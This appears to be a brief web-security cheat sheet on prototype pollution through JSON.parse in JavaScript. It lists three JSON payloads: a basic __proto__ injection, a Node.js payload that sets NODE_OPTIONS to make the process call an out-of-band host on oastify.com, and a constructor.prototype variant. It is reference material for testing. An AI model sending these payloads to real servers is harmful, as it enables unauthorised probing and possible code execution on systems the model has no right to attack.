Prototype Pollution: Prototype Pollution via JSON Input
You can access the prototype of any object via the magic property __proto__.
The JSON.parse() function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.
{
"__proto__": {
"evilProperty": "evilPayload"
}
}Asynchronous payload for NodeJS.
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=payload\"\".oastify\"\".com"
}
}Polluting the prototype via the constructor property instead.
{
"constructor": {
"prototype": {
"foo": "bar",
"json spaces": 10
}
}
}
Comments
No comments yet.